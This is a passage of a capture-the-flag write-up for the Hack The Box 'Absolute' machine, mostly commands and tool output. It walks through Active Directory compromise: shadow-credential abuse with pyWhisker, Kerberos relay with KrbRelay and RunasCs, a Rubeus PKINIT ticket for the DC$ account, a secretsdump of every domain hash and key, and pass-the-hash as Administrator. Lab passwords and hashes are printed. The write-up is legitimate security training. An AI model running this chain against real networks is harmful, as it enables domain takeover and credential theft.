Password for [ABSOLUTE.HTB\m.lovegod]: AbsoluteLDAP2022!

The membership is then verified using both net rpc group members and ldeep. Seeing both svc_audit and m.lovegod in the group confirms that the privilege change was successful.

net
net rpc group members "Network Audit" -U "ABSOLUTE.HTB\m.lovegod" -S dc.absolute.htb
Password for [ABSOLUTE.HTB\m.lovegod]: AbsoluteLDAP2022!
svc_audit
m.lovegod

OR

ldeep
ldeep ldap -k -s absolute.htb -d absolute.htb membersof 'Network Audit'
svc_audit
m.lovegod

A new TGT is requested after the group membership change so that the current Kerberos session reflects the newly obtained privileges. The resulting ticket is stored as m.lovegod.ccache and exported through KRB5CCNAME.

impacket-getTGT
impacket-getTGT -dc-ip dc.absolute.htb absolute.htb/m.lovegod:AbsoluteLDAP2022!
export KRB5CCNAME=m.lovegod.ccache

The next stage abuses Shadow Credentials, a technique that targets the msDS-KeyCredentialLink attribute of an Active Directory account. This attribute can contain public-key credentials that are trusted for authentication through Kerberos PKINIT. If an attacker has sufficient rights to modify this attribute on another account, they can add their own public key as a legitimate authentication credential for that account. pyWhisker is used to modify the msDS-KeyCredentialLink attribute of winrm_user. The tool generates a certificate and corresponding key pair, creates a KeyCredential containing the public-key information, and writes it to the target user’s attribute. The resulting .pfx file contains the certificate and private key required for authentication, while the generated password protects the PFX file.

pyWhisker
./pywhisker.py -d absolute.htb -u "m.lovegod" -k --no-pass -t "winrm_user" --action "add"
[*] Searching for the target account
[*] Target user found: CN=winrm_user,CN=Users,DC=absolute,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 9be07749-d6a3-9528-a6c2-e048e561edfb
[*] Updating the msDS-KeyCredentialLink attribute of winrm_user
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: TD8VFW2z.pfx
[*] Must be used with password: VjTYMMqVF38BYQEitHdf
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Install PKINITtools to get TGT from PFX certificate:

Install PKINITtools
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos oscrypto

At this point, the password for winrm_user has not been obtained. Instead, we have effectively added an alternative authentication method to the account. Because the domain trusts the newly registered key, the certificate can subsequently be used with PKINIT to request a Kerberos TGT for winrm_user.

PKINITtools is installed to perform the certificate-based Kerberos authentication. gettgtpkinit.py loads the generated PFX certificate and private key and uses them to request a TGT for winrm_user. The successful request demonstrates that the newly added KeyCredential is being accepted by the domain controller.

gettgtpkinit
./gettgtpkinit.py absolute.htb/winrm_user -cert-pfx TD8VFW2z.pfx -pfx-pass VjTYMMqVF38BYQEitHdf winrm_user_ccache
2022-10-02 01:27:11,377 minikerberos INFO Loading certificate and key from file
2022-10-02 01:27:11,399 minikerberos INFO Requesting TGT
2022-10-02 01:27:35,842 minikerberos INFO AS-REP encryption key (you might need this later):
2022-10-02 01:27:35,842 minikerberos INFO a3636bafbfd72f9ca3ea88d14467a48fb0986ba5f3c8f64df79afef66bb1c844
2022-10-02 01:27:35,848 minikerberos INFO Saved TGT to file

The tool outputs the AS-REP encryption key and saves the resulting Kerberos ticket to winrm_user_ccache. This cache is then assigned to the KRB5CCNAME environment variable, causing Kerberos-aware tools to use the newly obtained winrm_user ticket.

Export TGT
export KRB5CCNAME=winrm_user_ccache

Running klist confirms that the credential cache contains a valid TGT for:

winrm_user@ABSOLUTE.HTB

This is significant because authentication is now occurring as winrm_user without requiring knowledge of the user’s password.

klist
klist
Ticket cache: FILE:winrm_user_ccache
Default principal: winrm_user@ABSOLUTE.HTB
Valid starting Expires Service principal
10/02/2022 01:29:54 10/02/2022 05:29:54 krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB

Get User Flag

The Kerberos ticket is used to authenticate to Windows Remote Management through evil-winrm. The -r option specifies the Kerberos realm, while the domain controller is supplied as the target host.

User Flag
evil-winrm -r ABSOLUTE.HTB -i dc.absolute.htb
Evil-WinRM shell v3.4

User Flag

Exploitation to Root/System

Preparation

Before continuing with the privilege escalation, the required tools are prepared and compiled. RunasCs is used to execute a process under a different Windows security context, while KrbRelay handles the Kerberos relay portion of the attack. Rubeus is used later to interact with Kerberos tickets and perform certificate-based authentication. These tools are transferred to the compromised Windows host so they can be executed from the existing WinRM session.

Download RunasCs and KrbRelay and Rubeus then compile then using Microsoft Visual Studio.

Kerberos relay using process with different permissions than the logged user

The previously obtained winrm_user access provides a foothold on the domain controller through Evil-WinRM. From this shell, the attack can move from user-level access towards SYSTEM-level privileges. The first step is to transfer the required binaries onto the compromised machine so they can be executed locally.

KrbRelay.exe is uploaded to the winrm_user user’s Documents directory. This tool is central to the next stage because it is used to relay Kerberos authentication to LDAP and ultimately modify an Active Directory object’s credentials.

RunasCs.exe is also uploaded to the host. Unlike simply running a process as the currently logged-in user, RunasCs allows the supplied credentials to be used to launch another process under a different security context. This is important because the attack relies on obtaining authentication from a higher-privileged process while operating from the winrm_user session.

evil-winrm
evil-winrm -r ABSOLUTE.HTB -i dc.absolute.htb
*Evil-WinRM* PS C:\Users\winrm_user\Documents> upload /home/user/HTB/machine/Absolute/Transfer/KrbRelay.exe
Info: Uploading /home/user/HTB/machine/Absolute/Transfer/KrbRelay.exe to C:\Users\winrm_user\Documents\KrbRelay.exe
Data: 2158592 bytes of 2158592 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\winrm_user\Documents> upload /home/user/HTB/machine/Absolute/Transfer/RunasCs.exe
Info: Uploading /home/user/HTB/machine/Absolute/Transfer/RunasCs.exe to C:\Users\winrm_user\Documents\RunasCs.exe
Data: 65536 bytes of 65536 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\winrm_user\Documents> upload /home/user/HTB/machine/Absolute/Transfer/Rubeus.exe
Info: Uploading /home/user/HTB/machine/Absolute/Transfer/Rubeus.exe to C:\Users\winrm_user\Documents\Rubeus.exe
Data: 331092 bytes of 331092 bytes copied
Info: Upload successful!

KrbRelay is executed through RunasCs using the m.lovegod credentials. The -shadowcred option abuses the LDAP session to modify the msDS-KeyCredentialLink attribute of the DC$ machine account.

The successful LDAP session established and ldap_modify: LDAP_SUCCESS messages confirm that the modification was successful. This allows a certificate to be used to authenticate as DC$.

runascs
*Evil-WinRM* PS C:\Users\winrm_user\Documents> ./runascs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 "C:\users\winrm_user\Documents\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid {752073A1-23F2-4396-85F0-8FDB879ED0ED} -shadowcred"
[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\users\winrm_user\Documents\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAAZdA1Rmi/sCc5rEuvkXeOzAkAAAKwR//9OwNCoeR20CyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Forcing SYSTEM authentication
[*] Using CLSID: 752073a1-23f2-4396-85f0-8fdb879ed0ed
[*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010ea20703050020000000a38204e1618204dd308204d9a003020105a10e1b0c4142534f4c5554452e485442a2223020a003020102a11930171b046c6461701b0f64632e6162736f6c7574652e687462a382049c30820498a003020112a103020104a282048a0482048678e2925690e08e531e8715a7abc40f19b41b5d4116e97a4c748ea751b1e889c299526b82554fea3b1c75f15f9d39596b38714d083e9db6b674ceec87b34f51761c548afe200df439d4bbb56561e6b1c472f4041fd11cb21659dc7d165fcbaf0c2fe21825bde6280fd638c113799b604b851cf6c0600825a1d6efe00e6d060642e328fbaba10058f2a115fe1fc93b34411dba3ee3f6266fd9244d459903c43a21881d28a821541da1a114364a3cd3add18222e10152d35edc8b3d1549b29e6ebbd4059e2d576c3807e5a8b0fa28e0dc61f53f2195a4c9a0c2d5b8c9b45081aefdf6cdda85eb2fb4d69d8b15e2a70a03b104e8b3466b064fe165f4bb60065d786a0123065572368bc66f3a04fd5503f4aa774d218dfb5120f4427e060934c61917a75de5969947e3ea0f4c9b145454e7cc454f70588022fa9434aabbfc2ba1b470fc4e6a510b2526e11506f089dea0acb18eb9719ae72649620e8443d5590a8ee9ce75531ba2f33519ff5c6f3be0d5dbfd8cbcd565fd0acb02472a14912b62aff08b7d8129af872131c11683fe5425cae3d56b8da398426f0d792c106b8aa29ff2cab1c503411b4faf607dac6799831918665389addff42d744091dfef739fd9fa2f87b7420b5d8643e28364f46a7db8b0c7ab1b808cf20bef9573afc3df94fba1a3ebaf17bdb1a8f9309b96cb778548715ea9f24c27a8cc9074a04dd00f525edeaf75815a0420927651eea3a1d3a6f7b7f55174bc2f285a2ee556962964684e8c00c3ca2edc171f5ce75b25a8a34a951f46eacf255e0cfcef98d96b2e2ea26344bec26c42d373a0ab03c4d0bc3b218cd60648fb34a67a63bdffaf03094ec783dd4a90d865b694801561e5907f6d480b5ac29c7fbe933cb6b907422df302822684e103b541aa6868337bb95e7f659142ab012837dd06da1b364f8e2912ec22eee6cbd636836cc5677eb6fe770d1803bed8a2910ab65260db1f5993c6bded3d8e90c9cfe05c1017bd0270f8b89ca147762b3f4c3c00fd9e487dc0017cbf54afb1356470417217dd339578a838c3d62f4cb7c9533772b4c1e6702c3379c4589c6b69b2a36c7b02abb290489210e66b0fce84fd4c51db8a0a4e4a2c60f076c9031fe251f51ad2031e66c2bbcb3c8bdd75f6f2ab24131ce98529c2d8b99e8f9adfb5c74b3dd7766615b23f9a4bce3c4fbdc3a9be4dd5c8cdab6452b38b4ad3269871503d2e4b10966c3dd0aa5432f0c4cf24e6f32e144a2594b35131319e937b86e2aa55eaeaf5ff9e4251e36f99ab6ea80932677cf7d40cc97103d1d98795bd5ed1bdb69c9a1db3d1352d0878a69f9cd5dc9d62b2cd6d9fa190bb4bdec42b652313314270d86f9af097c50c4062009650fd1674c28b84df5bc0470709f84fadbb273e69d5f14921e588ab7553aca24b4aa508acd2fa0de78b829c82d3dad7469988e447fccd3ad735f7e2afd94a0fb1e8b105e2aa83c375eddc80e67a2c6937353744ac62a7f528f1676cf1bbd90dcedbd96985a0849feb7bbf0bc0cef0005f8a97a602079a9a470c6396703e884af914bda60583523d3b5ec499ea0d1bf8f0adf51bdd78886b7c906a77ebb8dc4d8869b2d30f5a16ccab9eca4ad9f46d2d8ee2648d52d6e4296b4da48201a33082019fa003020112a28201960482019286374f49394f96875cab51ad1470019e73c43b003c6e10222929fce9697c14805cfa1165444de0c5d16a33ca429b59b5b761beba57be205f64c73742b76f5b9d51558f4e668ce2a8dbf18512be91e37d485cbedad4ad00e83e9879da6ebc644af53e108efbf9f066c39816ea9f12c57a7376acaf2165657bbab2b0a3df1413f3776ae321599dac511909a33c94b85d107a32bac48992fede8b4cb26726d2cae1bb448014123e0ee63ac4ce698335d50a34579c522360cef3daec6754b2ae4592a2b9f4ecd333ee846cd1fd6797432622975a4b973722af5732f306e13e896e21b153dd4757bdf14e5e79eb0ed290a52bf60f1df8c769b36c54f19b5aebd0b71f794931e2e388f864e8e3a31a55911ebff7360175b78b9333b29b9f8e864e8d886e3eaaf36c8dbdf34979eaff837bd90bede1050d8a2e1e26b76af0d19deb7e8cf4be09f40b339114e083a796453348c8706f3beea917683bd01faa1394749b3865cc9c853376bffcfae67fc47bedb3ac088e31175ae1e6a27f318bfe0c4bff10cffe1e629b67273753ff19d8f25c886d0b88
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046ed06cafc374593fb6ba302be3b87ecad7586ba72b1a5026194bb6cdfc961f530ac2f60f2948c993a6bddd6b04f69aa75737f51b29bed7da955e8af36e8022c23176f47d78ab68636cf46ca7983c01c88cd37614843d11b5dfa34af0307b5666d4251c948e90ae9b471c17e8d8e1ff
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a24404426157c33462d1ae5afb2a097a4b174163e35b84c140f7f3fcad11b34cbe284591b33294256f1b2a0a1278704afebffa34d3943dc18a7fc58a2bc90c552178a39dfbab
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS
Rubeus.exe asktgt /user:DC$ /certificate:MIIJsAIBAzCCCWwGCSqGSIb3DQEHAaCCCV0EgglZMIIJVTCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAjCqLNNC6QyrwICB9AEggTY/RoWcHIWL9s6snyLPEYlsr1BZimmHMYI9N4Oxl8wK3zxb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0WrfwfEGvpuPpi2FC0zel6Gi/pg3+Wk3aZri0TJm0DBWoic2Cp9ynphD2WyqgiSAyh4ZqtypbfjarbRLt9gg4rCQBwoatgmcBlHKbT4qvXPTki5nb7ZaGcm9itQS0zNf/dEu9de3LCnPUNc0mxca8GFV6s0wRXaT+eqj9Y/TiWGGFvYI25Usqjn1iIttoUpzgBtInEuPgoP2BKHGKLg+s9cSXQhebFIYbFiIYuh4GH48d1fl7GKuZrIJeUo6WSjQUkKqMpIc8m4M12l3w1Z+MQad02PnkoJDTYzep0LXbHkPq1SAR9KPN+5gUH0EV9TP7Y6I8C7E0zJmKsu+zUyzBUlcvZpN6A56rnDrqmaxAOSJ8d5T3llGbSP7k1/aqnXhzQO0xAwymcMLvcLXOODhpxam2vabmcAyFllrVB3ENv60zxjTZ9pwAASwYYx94gpHguaJ4sNKEFXLRKlZFNgdAnJg8nxuYtpQMlvyGCV9mRafZQxFsJFwaHILwleys6GpPtF2GnOkWBahghjLF8v1GPwFJ843JpCjj7eTdvWp+xlT2/+FDyeTBVhGxBid1AEGM50ksK2t9aJ8uoRqwbHfkieLqBtWK7zqhOlWraLgWYHMsVpA1jknhXx0/J7tdcSpGtf3BvTYsrp/dQVHJlpxr7m+WnELZ6oMod7xnHURNws8FCBsS+D2z/qP9g14Nx1vm3H7YCMtJ/2Cd2JiI2jV8SwhI+b+ZKQUIN2AeatlhhX/6az1zTQB8UNmD79YvjKAuJBy3J64JfseUMem4EL8E9iAofMrdyAcPEnJDyGfQHnjzwXlMDKu1mKB1IxlHsxvZnXzVmu9SfLGquJgIMae+653bE6kwOzAfMAcGBSsOAwIaBBQ0XUvtsTRu2/t5WNYmQktKFd5vpQQUSlrfSMQSaow0iHPpqV3YIOF7aNACAgfQ /password:"759f82d3-8339-4d53-aa30-769e148053b9" /getcredentials /show

Get ticket .kirbi of DC$

Rubeus uses the generated certificate with PKINIT to request a TGT for the DC$ account. The TGT request successful! output confirms that the certificate was accepted and a valid Kerberos ticket was obtained.

R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GfQHnjzwXlMDKu1mKB1IxlHsxvZnXzVmu9SfLGquJgIMae+653bE6kwOzAfMAcGBSsOAwIaBBQ0XUvtsTRu2/t5WNYmQktKFd5vpQQUSlrfSMQSaow0iHPpqV3YIOF7aNACAgfQ /password:"759f82d3-8339-4d53-aa30-769e148053b9" /getcredentials /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.2
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=DC$
[*] Building AS-REQ (w/ PKINIT preauth) for: 'absolute.htb\DC$'
[*] Using domain controller: fe80::98ec:dee9:cab6:339f%11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGGDCCBhSgAwIBBaEDAgEWooIFMjCCBS5hggUqMIIFJqADAgEFoQ4bDEFCU09MVVRFLkhUQqIhMB+g
AwIBAqEYMBYbBmtyYnRndBsMYWJzb2x1dGUuaHRio4IE6jCCBOagAwIBEqEDAgECooIE2ASCBNSCVa7r
S82VgoTlw5XGShDISi0ivFwTaY3nZ98CjdM/HWHJD9Q4B7fgq+G6cHOUYaocnTLIeYXAxjmvr4l+484H
rWNdloQUXo0fYBfLze2otE++DSWhb2ByMh+8C5yncG+3sr5VSLhD53EsEFZ4KJASYCsBeEI8zovSNfgY
BWKis0KmrDKhCErpYWjVFrrW90SkSJOIPpFrlV6XQdRkL2zp57V83PgwkF6bEEqmhsIxH+YT+sj4EB3I
V+jGaYm7EYBI7wq7ifaW9iAjAKuruMCP5qpQMECS5STJtCCq9ZEj8/TD/eStae7RK90gWHA7L9sqBcp2
sIKifQFfzXTholS2p2VHbzfsDU3ctddNTwxcdPsV8DId7ztkXfODTEOa3CSFoJkzntsnhRuzCPef/sTF
FHKUI3Ai9ia5pOuINB4uzvvbbSbYkyYYmBxgNrRSv24+OXpsUfnOtMXD7WQ9NrATkdQ1XryEerjB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Y5PGDwTA+o3Wxrcq3VBO5Rx1mIcXyjkS9Aj+e0w3MyyO8y7Mt1uqYteY/aVAS6J
GzKgYLzNO7D8rPMZBorc5NJAbVJIp62Xcf2LnR8wtXajgdEwgc6gAwIBAKKBxgSBw32BwDCBvaCBujCB
tzCBtKAbMBmgAwIBF6ESBBBURHCREr0KC1S7NdWaMFnJoQ4bDEFCU09MVVRFLkhUQqIQMA6gAwIBAaEH
MAUbA0RDJKMHAwUAQOEAAKURGA8yMDIyMTAwMTIwMDU1MVqmERgPMjAyMjEwMDIwNjA1NTFapxEYDzIw
MjIxMDA4MjAwNTUxWqgOGwxBQlNPTFVURS5IVEKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDGFic29sdXRl
Lmh0Yg==
ServiceName : krbtgt/absolute.htb
ServiceRealm : ABSOLUTE.HTB
UserName : DC$
UserRealm : ABSOLUTE.HTB
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : VERwkRK9CgtUuzXVmjBZyQ==
ASREP (key) : 8AA7238D8DB6FFAAA307AAEC626B92B3
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : A7864AB463177ACB9AEC553F18F42577

Convert base64 encoded ticket .kirbi to .ccache

The Base64-encoded .kirbi ticket is decoded and converted into a .ccache file using impacket-ticketConverter. This allows the ticket to be used by Impacket tools.

Rubeus
echo 'doIGGDCCBhSgAwIBBaEDAgEWooIFMjCCBS5hggUqMIIFJqADAgEFoQ4bDEFCU09MVVRFLkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMYWJzb2x1dGUuaHRio4IE6jCCBOagAwIBEqEDAgECooIE2ASCBNSCVa7rS82VgoTlw5XGShDISi0ivFwTaY3nZ98CjdM/HWHJD9Q4B7fgq+G6cHOUYaocnTLIeYXAxjmvr4l+484HrWNdloQUXo0fYBfLze2otE++DSWhb2ByMh+8C5yncG+3sr5VSLhD53EsE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IKVq1N7GbUzEyCue/qBNJzTg965fSIA26Ky+66wLjj6OlRfoGTtUGo0rkfT78nTh5TpLZAbvxPsGZgmCITe2MTHXT94DWe14SqFmUB6DskzdctXUYwEAk/RS3tQNlDUP+7x+HOCxn0SWBAB/efp4QH/kHsvmI32URLXxYM7kTiy7Kt0rl7PXHCgJG39bUz9AM42kGSORbJ6ePi80HklwdGPcQvaSQO+7lHPhbJ2DgKyt33vs/ce4t6zw7vfhcPi8oQYHkz7HB87fxYC9/xAdQjHYRZLRjHp1spbuUFBs9DaOGQQRMmQjt1KfUbUnb4vY5PGDwTA+o3Wxrcq3VBO5Rx1mIcXyjkS9Aj+e0w3MyyO8y7Mt1uqYteY/aVAS6JGzKgYLzNO7D8rPMZBorc5NJAbVJIp62Xcf2LnR8wtXajgdEwgc6gAwIBAKKBxgSBw32BwDCBvaCBujCBtzCBtKAbMBmgAwIBF6ESBBBURHCREr0KC1S7NdWaMFnJoQ4bDEFCU09MVVRFLkhUQqIQMA6gAwIBAaEHMAUbA0RDJKMHAwUAQOEAAKURGA8yMDIyMTAwMTIwMDU1MVqmERgPMjAyMjEwMDIwNjA1NTFapxEYDzIwMjIxMDA4MjAwNTUxWqgOGwxBQlNPTFVURS5IVEKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDGFic29sdXRlLmh0Yg==' | base64 -d > DC$.kirbi
impacket-ticketConverter
impacket-ticketConverter DC\$.kirbi DC$.ccache
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] converting kirbi to ccache...
[+] done

Get Root Flag

The DC$ Kerberos ticket is exported through KRB5CCNAME and used with secretsdump. This performs a DRSUAPI dump of Active Directory credentials and retrieves the NTLM hashes of domain accounts, including the Administrator hash.

export TGT
export KRB5CCNAME=DC\$.ccache
impacket-secretsdump
impacket-secretsdump absolute.htb/'DC$'@dc.absolute.htb -no-pass -k -dc-ip 10.10.11.181 -target-ip 10.10.11.181
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f4a6093623653f6488d5aa24c75f2ea:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4:::
J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a:::
M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184:::
D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab:::
s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee:::
j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f:::
n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d:::
m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d:::
l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba:::
c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4:::
s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c:::
d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40:::
svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167:::
svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103:::
winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577:::
[*] Kerberos keys grabbed
Administrator\Administrator:aes256-cts-hmac-sha1-96:f6f6ed9dbdbfc9416dfc5e5ad24c5d63eff3c1515e20a7375adeb5d4f6340b00
Administrator\Administrator:aes128-cts-hmac-sha1-96:383739cff2fd44d8a8d64e6ebdeeaaa3
Administrator\Administrator:des-cbc-md5:62792a3dbcc2d934
krbtgt:aes256-cts-hmac-sha1-96:0c17e8e125df8f4349d5ee61cc142c8d04ccede67c9c41a5a0648b3b6bc87fd8
krbtgt:aes128-cts-hmac-sha1-96:bdedea8ee062b6bb3dd3992e85512d2b
krbtgt:des-cbc-md5:c192197fd0205d7c
J.Roberts:aes256-cts-hmac-sha1-96:03ccb6aa8217d729b253b221fc440ac0cccf914c7ead4764f0830687da50f6db
J.Roberts:aes128-cts-hmac-sha1-96:63e7d9ec11b180806752749c2ea473c8
J.Roberts:des-cbc-md5:c1f8455489c8d6fd
M.Chaffrey:aes256-cts-hmac-sha1-96:6ef8e7e836c1e057e43784982d8b849f53b3aced5748305606cec90c4803768a
M.Chaffrey:aes128-cts-hmac-sha1-96:4b2b63f2b51aa5d0028b8e63015b8923
M.Chaffrey:des-cbc-md5:0832a2349d430e6e
D.Klay:aes256-cts-hmac-sha1-96:6b2e5bb2eceaf90c35cd0a05ed5b5296902f99aa05d1555f592f4fd90299f511
D.Klay:aes128-cts-hmac-sha1-96:27b8a8ed66f4bec4d6f3c1ea064b8643
D.Klay:des-cbc-md5:541f62e054bcda75
s.osvald:aes256-cts-hmac-sha1-96:d01fc4cad1b1b58c2cc6d58e455cde8ec70515b11475351cd0d81567307bf647
s.osvald:aes128-cts-hmac-sha1-96:c36841c726209e882606c8449bf9c46e
s.osvald:des-cbc-md5:2f37f152cbcd83f4
j.robinson:aes256-cts-hmac-sha1-96:25a92a6a76e8c1a2fba8931c2eee3ebd0b989977b4513864d0a1cb8b10a9ec94
j.robinson:aes128-cts-hmac-sha1-96:75c8afcec6e02104a6f4f670e9d2066d
j.robinson:des-cbc-md5:f1f1cb4668cb4c37
n.smith:aes256-cts-hmac-sha1-96:2f2530507fcde84d598bc4072e03794a5d47899481a0360e5efe53e708fe1b32
n.smith:aes128-cts-hmac-sha1-96:b8ddaeed640935b74d60afeac5773fd1
n.smith:des-cbc-md5:d6f4a816f2b3c2dc
m.lovegod:aes256-cts-hmac-sha1-96:7455663292585851686a2c8b2df22dca5b0a3e84404dd480466e982e49b10554
m.lovegod:aes128-cts-hmac-sha1-96:d1444c5914c08587743974f4d82f646b
m.lovegod:des-cbc-md5:0dbc98fd3432b51f
l.moore:aes256-cts-hmac-sha1-96:21f677b0610633182b949f3759c3badcf537014fa6d3134b0f35983052556fd9
l.moore:aes128-cts-hmac-sha1-96:452759b837aa533eab98a63c3ef5a3d2
l.moore:des-cbc-md5:706eae32ec233238
c.colt:aes256-cts-hmac-sha1-96:776ab25a3d02dd770c5f5ea23a778ecc9372d1c4743b0edeab31367f893cbd0c
c.colt:aes128-cts-hmac-sha1-96:c80ceabda664ad8756d30a23549721a0
c.colt:des-cbc-md5:cdd3373ef449dc01
s.johnson:aes256-cts-hmac-sha1-96:f1ff3ac7b2b1755d912f48b7ac8c23798194a57b6e79eabce097f376be2fcdba
s.johnson:aes128-cts-hmac-sha1-96:4e226190c6da3a13527cb9361c924a82
s.johnson:des-cbc-md5:a10ee02fcd7fdc54
d.lemm:aes256-cts-hmac-sha1-96:e65977f0973ffe8295a83d57f0fa7c423350b57f1658d7875af05ae9df86344e
d.lemm:aes128-cts-hmac-sha1-96:670934ac113e15684cf3b38943122a56
d.lemm:des-cbc-md5:abc123ad1fdff826
svc_smb:aes256-cts-hmac-sha1-96:072ac54cc2d289fa2ab5ddb99a0e6b8d5de782d6e47e37ddc43e73afe2aa18e0
svc_smb:aes128-cts-hmac-sha1-96:bf6ca5499223bf6c4f67cfac481beb4b
svc_smb:des-cbc-md5:ba94e06d8c8c4acb
svc_audit:aes256-cts-hmac-sha1-96:2a52b5943c1ed45d5ac4d521c46faf61eee9e7f2c724aee5de0294371abf6d90
svc_audit:aes128-cts-hmac-sha1-96:4824823ac71c95b967a6224350789320
svc_audit:des-cbc-md5:38430d2fc1ad86fb
winrm_user:aes256-cts-hmac-sha1-96:293c0059e9c3758632e5fa7b80b6d0ae0ed041023fdb5ca13615f4faaaffdf8b
winrm_user:aes128-cts-hmac-sha1-96:3694ab88bd8898a1afc0c5575e22be52
winrm_user:des-cbc-md5:0efef76b8f85ba32
DC$:aes256-cts-hmac-sha1-96:f4118024905178a5f9c6ce88de01a234f08434edd72099e2b861d356b6eaa076
DC$:aes128-cts-hmac-sha1-96:20a8c2b20d5ab57c07edff514eb40045
DC$:des-cbc-md5:f42ad0e6ecb9e538
[*] Cleaning up...

Using Pass-The-Hash we can use Administrator’s hash and grab our root flag:

Root Flag
evil-winrm -i dc.absolute.htb -u Administrator -H '1f4a6093623653f6488d5aa24c75f2ea'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint

Root Flag

End Notes

What an absolutely amazing machine! I really enjoyed pwning this while this was released :D. I hope you enjoyed this writeup - v37r1x